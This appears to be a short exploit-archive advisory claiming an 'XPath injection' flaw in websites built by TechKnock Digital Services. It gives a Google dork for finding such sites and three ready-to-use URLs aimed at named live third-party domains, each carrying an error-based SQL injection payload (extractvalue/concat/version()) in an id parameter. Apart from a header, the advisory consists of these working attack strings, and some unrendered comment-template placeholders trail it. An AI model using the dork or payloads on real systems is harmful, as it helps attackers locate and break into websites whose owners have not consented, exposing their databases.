********************************************************* #Exploit Title: TechKnock Digital Services - Xpath Injection Vulnerability #Date: 2025-05-21 #Exploit Author: Behrouz Mansoori #Google Dork: "Developed By TechKnock Digital Services." #Category:webapps #Tested On: Mac, Firefox Proof of Concept: ### Demo : http://rs-enterprises.co.in/category.php?id=2%27%20and%20extractvalue(rand(),concat(0x7e,version()))--+ http://www.rs-enterprises.co.in/product-detail.php?id=5%27%20and%20extractvalue(rand(),concat(0x7e,version()))--+&catid=1 http://hailmaryrefrigeration.co.in/products.php?id=42%27%20and%20extractvalue(rand(),concat(0x7e,version()))--+&catid=1 ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: [email protected] *********************************************************
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |